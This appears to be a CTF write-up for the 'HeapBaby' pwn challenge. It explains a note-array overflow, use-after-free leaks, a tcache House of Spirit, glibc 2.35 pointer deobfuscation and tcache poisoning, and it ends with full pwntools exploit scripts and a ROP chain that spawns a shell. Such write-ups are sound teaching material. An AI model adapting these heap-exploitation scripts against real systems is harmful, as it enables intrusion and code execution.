HeapBaby

PreviousBrainhack's CDDC Finals 2023 Nextangstrom CTF

Last updated 7 months ago

Was this helpful?

HeapBaby

Description

I honestly didn't copy the description and they always don't open the challenges after the CTF, so that's that.

I solved this challenge after the CTF ended, so it isn't tested on the remote server.

Also, this challenge have no right to include 'baby' in the name...

Hint: House of Spirit

Solution

TL;DR

Create the 11th note to overflow the note_list global variable into note_cnt
Perform tcache house of spirit attack by creating a fake chunk on heap
Delete notes to decrement ptr stored in note_cnt. Decrement ptr till it points to the fake chunk
Read index 12 (gift) to get stack leak, use stack leak to find username buffer (or any buffer in main)
Get libc leak by freeing 8 chunks (UAF)
Free any index < 11, the free index 11 (note_cnt) to free the fake chunk, then free index where you wrote the fake chunk
Perform tcache poisoning with the freed fake chunk (need get key for ptr since glibc 2.35 is used). Overwrite fwd pointer of freed fake chunk with address of username buffer
Now perform BOF in username buffer, then perform simple ROP
Win

Initial Analysis

Decompiling the binary with ghidra, there are 3 main functions of the binary: create note, print note, delete note.

int main(undefined4 param_1,undefined8 param_2,undefined8 param_3)

{
  undefined8 local_50;
  undefined8 local_48;
  undefined4 local_3c;
  undefined8 username;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  uint option;
  uint i;
  
  local_50 = param_3;
  local_48 = param_2;
  local_3c = param_1;
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  username = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  printf("[>] Input your name : ");
  read(0,&username,0x1f);
  gift = &local_50;
  printf("[*] ");
  for (i = 0; (i < 0x20 && (*(char *)((long)&username + (long)(int)i) != '\n')); i = i + 1) {
    putchar((int)*(char *)((long)&username + (long)(int)i));
  }
  puts("\'s NOTEPAD");
LAB_0040163c:
  manual();
  __isoc99_scanf("%d",&option);
  if (option == 4) {
    puts("[*] Bye bye~~!!");
    return 0;
  }
  if (option < 5) {
    if (option == 3) {
      delete();
      goto LAB_0040163c;
    }
    if (option < 4) {
      if (option == 1) {
        add();
      }
      else {
        if (option != 2) goto LAB_004016be;
        print_note();
      }
      goto LAB_0040163c;
    }
  }
LAB_004016be:
  puts("[*] Invalid value");
  goto LAB_0040163c;
}

void manual(void)

{
  puts("[*] 1. Add note");
  puts("[*] 2. Print note");
  puts("[*] 3. Delete note");
  puts("[*] 4. Exit");
  printf("[>] ");
  return;
}

void delete(void)

{
  ulong index;
  
  printf("[>] Select delete note index : ");
  __isoc99_scanf("%lld",&index);
  if ((index == 0) || (note_cnt < index)) {
    puts("[*] Invalid value");
  }
  else {
    free(*(void **)(note_list + index * 8));
    note_cnt = note_cnt - 1;
    if (index < 11) {
      *(undefined8 *)(note_list + index * 8) = 0;
    }
    printf("[*] %lld index note deleted.\n",index);
  }
  return;
}

void add(void)

{
  uint size;
  void *memo_inp;
  int i;
  
  printf("[>] Input Size : ");
  __isoc99_scanf("%d",&size);
  if (size < 256) {
    puts("[*] Size is too small.");
  }
  else {
    printf("[*] Size is %d\n",(ulong)size);
    memo_inp = malloc((ulong)size);
    printf("[>] Input memo : ");
    read(0,memo_inp,(ulong)(size - 1));
    if (note_cnt < 11) {
      *(void **)(note_list + note_cnt * 8) = memo_inp;
      note_cnt = note_cnt + 1;
    }
    else {
      for (i = 0; (ulong)(long)i <= note_cnt; i = i + 1) {
        if (*(long *)(note_list + (long)i * 8) == 0) {
          *(void **)(note_list + (long)i * 8) = memo_inp;
          note_cnt = note_cnt + 1;
          break;
        }
      }
    }
    puts("[*] Note added.");
  }
  return;
}

void print_note(void)

{
  ulong note_index;
  
  printf("[>] Input note index : ");
  __isoc99_scanf("%lld",&note_index);
  if ((note_index == 0) || (note_cnt < note_index)) {
    puts("[*] Invalid value\n");
  }
  else {
    puts(*(char **)(note_list + (note_index - 1) * 8));
  }
  return;
}

Looking at note_list in gdb, we can see it can store 10 address. The 11th address will be stored in note_cnt.

We also see that gift is right after note_cnt.

If we create 11 notes, we can see that note_cnt indeed got overwritten with a malloced ptr.

Stack Leak

Since the note_cnt is very high (because it is an address), we can now read index 12, which contains our gift. This allows for a stack leak and we can calculate the address of username.

Libc Leak

Looking at the delete function, we note that notes stored in index >= 11 will have a Use After Free (UAF) vulnerability, so we can leak the fwd of a chunk that is freed into unsorted bin, which would give us a libc leak.

void delete(void)

{
  ulong index;
  
  printf("[>] Select delete note index : ");
  __isoc99_scanf("%lld",&index);
  if ((index == 0) || (note_cnt < index)) {
    puts("[*] Invalid value");
  }
  else {
    free(*(void **)(note_list + index * 8));
    note_cnt = note_cnt - 1;
    if (index < 11) {
      *(undefined8 *)(note_list + index * 8) = 0;
    }
    printf("[*] %lld index note deleted.\n",index);
  }
  return;
}

To free a chunk into unsorted bin, we can allocate 8 chunks of the same size, then free all 8 chunks. The first 7 chunks that are freed should go into tcache bin, while the last would go into unsorted bin :)

leaking libc code

#!/usr/bin/env python3

from pwn import *

def option(m):
    p.sendlineafter(b'[>] ',str(m).encode())

def add(size,m):
    option(1)
    p.sendlineafter(b'Input Size : ',str(size).encode())
    p.sendafter(b'Input memo : ',m)

def print_note(index):
    option(2)
    p.sendlineafter(b'Input note index : ',str(index).encode())
    return p.recvuntil(b'\n[*]',drop=True)

def delete_note(index):
    option(3)
    p.sendlineafter(b'Select delete note index : ',str(index).encode())

elf = context.binary = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
# url,port = "34.141.229.188",1337

if args.REMOTE:
    p = remote(url,port)
else:
    p = elf.process()

if args.GDB:
    gdb.attach(p)

name = b'AAAA'
p.sendlineafter(b'Input your name : ',name)

for _ in range(9):
    add(300,b'BBBB')

add(300,b'DDDD')

add(300,b'CCCC')

add(300,b'CCCC')

for _ in range(8):
    add(500,b'NNNN')
for _ in range(21,21-8,-1):
    delete_note(_)

libc_leak = u64(print_note(14).ljust(8,b'\x00'))

print(hex(libc_leak))
p.interactive()

House of Spirit Attack

Now we most importantly need an arbitrary write. To do this, we can utilize Tcache House of Spirit since there is no heap overflow or anything else we can leverage on.

Tcache House of Spirit attack: "Frees a fake chunk to get malloc to return a nearly-arbitrary pointer." https://github.com/shellphish/how2heap/blob/master/glibc_2.35/tcache_house_of_spirit.c

So we can create a fake chunk on the heap. I created a fake chunk in index 10, with size of 0x140 containing DDDD.

create fake chunk code

#!/usr/bin/env python3

from pwn import *

def option(m):
    p.sendlineafter(b'[>] ',str(m).encode())

def add(size,m):
    option(1)
    p.sendlineafter(b'Input Size : ',str(size).encode())
    p.sendafter(b'Input memo : ',m)

def print_note(index):
    option(2)
    p.sendlineafter(b'Input note index : ',str(index).encode())
    return p.recvuntil(b'\n[*]',drop=True)

def delete_note(index):
    option(3)
    p.sendlineafter(b'Select delete note index : ',str(index).encode())

elf = context.binary = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
# url,port = "34.141.229.188",1337

if args.REMOTE:
    p = remote(url,port)
else:
    p = elf.process()

if args.GDB:
    gdb.attach(p)

name = b'AAAA'
p.sendlineafter(b'Input your name : ',name)

for _ in range(9):
    add(300,b'BBBB')

payload = b'\x00'*8*7
payload += p64(0x141) # creates fake chunk
payload += b'DDDDDDDD'

add(300,payload) # index 10
add(300,b'CCCC')
add(300,b'CCCC')

# create and free 8 chunks
for _ in range(8):
    add(500,b'NNNN')
for _ in range(21,21-8,-1): 
    delete_note(_)

# get unsorted bin fwd ptr
stack_leak = u64(print_note(12).ljust(8,b'\x00'))
print(hex(stack_leak))

We can see our fake chunk in the note of index 10:

Now that we have a fake chunk, we need to free it. Notice how note_cnt is always incrementing and decrementing whenever a note is created and deleted? We can utilize the pointer at the location by calling the delete function with a note index that contains 0 as an address, so it does free(0) which does nothing, but it also decrements our pointer at note_cnt by 1.

The free function causes the space pointed to by ptr to be deallocated, that is, made available for further allocation. If ptr is a null pointer, no action occurs. https://pubs.opengroup.org/onlinepubs/7908799/xsh/free.html

We can free the fake chunk now, but we first need to free another chunk so that our freed fake chunk's fwd ptr points to another freed chunk. This fwd ptr is the one we will be overwriting to point to any address to get arbitrary write.

We will also need to leak this fwd ptr to get the obfuscation key needed for our own ptr to work.

free fake chunk code

#!/usr/bin/env python3

from pwn import *

def option(m):
    p.sendlineafter(b'[>] ',str(m).encode())

def add(size,m):
    option(1)
    p.sendlineafter(b'Input Size : ',str(size).encode())
    p.sendafter(b'Input memo : ',m)

def print_note(index):
    option(2)
    p.sendlineafter(b'Input note index : ',str(index).encode())
    return p.recvuntil(b'\n[*]',drop=True)

def delete_note(index):
    option(3)
    p.sendlineafter(b'Select delete note index : ',str(index).encode())

def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

elf = context.binary = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
# url,port = "34.141.229.188",1337

if args.REMOTE:
    p = remote(url,port)
else:
    p = elf.process()

if args.GDB:
    gdb.attach(p)

name = b'AAAA'
p.sendlineafter(b'Input your name : ',name)

for _ in range(9):
    add(300,b'BBBB')

payload = b'\x00'*8*7
payload += p64(0x141) # creates fake chunk
payload += b'DDDDDDDD'

add(300,payload) # index 10
add(300,b'CCCC')
add(300,b'CCCC')

# create and free 8 chunks
for _ in range(8):
    add(500,b'NNNN')
for _ in range(21,21-8,-1): 
    delete_note(_)

# get unsorted bin fwd ptr
stack_leak = u64(print_note(12).ljust(8,b'\x00'))
print("Stack leak:",hex(stack_leak))
username_ptr = stack_leak - 336 - 8

# decrement ptr at note_cnt to point to our fake chunk
for _ in range(300+0x16-(8*8)):
    delete_note(30)

p.interactive()

delete_note(1)
add(800,b'HHHH') # makes sure note_cnt is correct
delete_note(11) # frees fake chunk
add(800,b'HHHH') # makes sure note_cnt is correct
ptr = u64(print_note(11).ljust(8,b'\x00'))
delete_note(10) # frees chunk containing our fake chunk to overwrite freed fake chunk ptr

libc_leak = u64(print_note(14).ljust(8,b'\x00'))
libc_offset = 0x7f9d4d619ed0-0x7f9d4d400000
libc.address = libc_leak - libc_offset
print("Libc leak:",hex(libc_leak))

# needed for glibc 2.35 heap ptrs
original_ptr = deobfuscate(ptr)
key = original_ptr ^ ptr

The deobfuscate function for deobfuscating the fwd ptr is referred from https://ctftime.org/writeup/34804

Now we can create a note with size of 300 bytes, then overwrite the fwd ptr of the fake chunk with our own. Remember that the ptr needs to be obfuscated, so we need to xor the key with the address we want to write to, then overwrite the fwd ptr with this obfuscated address (basically tcache poisoning).

Afterwards, we create a note of size 300 bytes to clear the first tcache ptr, then the next note of size 300 bytes we create will write to our address!

We can try to write a bunch of Z's to note_list to check if it works.

arbitrary write to note_list example code

#!/usr/bin/env python3

from pwn import *

def option(m):
    p.sendlineafter(b'[>] ',str(m).encode())

def add(size,m):
    option(1)
    p.sendlineafter(b'Input Size : ',str(size).encode())
    p.sendafter(b'Input memo : ',m)

def print_note(index):
    option(2)
    p.sendlineafter(b'Input note index : ',str(index).encode())
    return p.recvuntil(b'\n[*]',drop=True)

def delete_note(index):
    option(3)
    p.sendlineafter(b'Select delete note index : ',str(index).encode())

def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

elf = context.binary = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
# url,port = "34.141.229.188",1337

if args.REMOTE:
    p = remote(url,port)
else:
    p = elf.process()

if args.GDB:
    gdb.attach(p)

name = b'AAAA'
p.sendlineafter(b'Input your name : ',name)

for _ in range(9):
    add(300,b'BBBB')

payload = b'\x00'*8*7
payload += p64(0x141) # creates fake chunk
payload += b'DDDDDDDD'

add(300,payload) # index 10
add(300,b'CCCC')
add(300,b'CCCC')

# create and free 8 chunks
for _ in range(8):
    add(500,b'NNNN')
for _ in range(21,21-8,-1): 
    delete_note(_)

# get unsorted bin fwd ptr
stack_leak = u64(print_note(12).ljust(8,b'\x00'))
print("Stack leak:",hex(stack_leak))
username_ptr = stack_leak - 336 - 8

# decrement ptr at note_cnt to point to our fake chunk
for _ in range(300+0x16-(8*8)):
    delete_note(30)

delete_note(1)
add(800,b'HHHH') # makes sure note_cnt is correct
delete_note(11) # frees fake chunk
add(800,b'HHHH') # makes sure note_cnt is correct
ptr = u64(print_note(11).ljust(8,b'\x00'))
delete_note(10) # frees chunk containing our fake chunk to overwrite freed fake chunk ptr

libc_leak = u64(print_note(14).ljust(8,b'\x00'))
libc_offset = 0x7f9d4d619ed0-0x7f9d4d400000
libc.address = libc_leak - libc_offset
print("Libc leak:",hex(libc_leak))

# needed for glibc 2.35 heap ptrs
original_ptr = deobfuscate(ptr)
key = original_ptr ^ ptr
note_list = 0x404040

# arbitrary write
payload = b'E'*32 + p64(0)*3 +p64(0x141) + p64(key^note_list)

add(300,payload)
add(300,b'AAAA')
add(300,b'ZZZZZZZZ')
p.interactive()

One easy way to get RCE is to point our address to the username buffer and overflow it, then we can perform a simple ret2libc through ROP.

Solve Script

solve.py

#!/usr/bin/env python3

from pwn import *

def option(m):
    p.sendlineafter(b'[>] ',str(m).encode())

def add(size,m):
    option(1)
    p.sendlineafter(b'Input Size : ',str(size).encode())
    p.sendafter(b'Input memo : ',m)

def print_note(index):
    option(2)
    p.sendlineafter(b'Input note index : ',str(index).encode())
    return p.recvuntil(b'\n[*]',drop=True)

def delete_note(index):
    option(3)
    p.sendlineafter(b'Select delete note index : ',str(index).encode())

def deobfuscate(val):
    mask = 0xfff << 52
    while mask:
        v = val & mask
        val ^= (v >> 12)
        mask >>= 12
    return val

elf = context.binary = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
# url,port = "34.141.229.188",1337

if args.REMOTE:
    p = remote(url,port)
else:
    p = elf.process()

if args.GDB:
    gdb.attach(p)

name = b'AAAA'
p.sendlineafter(b'Input your name : ',name)

for _ in range(9):
    add(300,b'BBBB')

payload = b'\x00'*8*7
payload += p64(0x141)
payload += b'DDDDDDDD'

add(300,payload)

add(300,b'CCCC')

add(300,b'CCCC')

for _ in range(8):
    add(500,b'NNNN')
for _ in range(21,21-8,-1):
    delete_note(_)

for _ in range(300+0x16-(8*8)):
    delete_note(30)

stack_leak = u64(print_note(12).ljust(8,b'\x00'))
print(hex(stack_leak))

delete_note(1)
add(800,b'HHHH')
delete_note(11)

add(800,b'HHHH')
ptr = u64(print_note(11).ljust(8,b'\x00'))
delete_note(10)

libc_leak = u64(print_note(14).ljust(8,b'\x00'))
libc_offset = 0x7f9d4d619ed0-0x7f9d4d400000
libc.address = libc_leak - libc_offset
print(hex(libc_leak))

original_ptr = deobfuscate(ptr)
key = original_ptr ^ ptr

username_ptr = stack_leak - 336 - 8

# arbitrary write
payload = b'E'*32 + p64(0)*3 +p64(0x141) + p64(key^username_ptr)

add(300,payload)
add(300,b'AAAA')

one_gadget = libc.address + 0xebcf8
pop_rdx_r12 = libc.address + 0x000000000011f497
pop_rsi = libc.address + 0x000000000002be51
pop_rdi = libc.address + 0x000000000002a3e5

payload = b'A'*48
payload += b'B' * 8 #rbp
payload += p64(pop_rdx_r12) + p64(0) + p64(0)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00')))
payload += p64(libc.sym['execve'])

add(300,payload)

option(4)

p.interactive()
p.close()

# tcache house of spirit

PreviousBrainhack's CDDC Finals 2023 Nextangstrom CTF

Last updated 7 months ago

Was this helpful?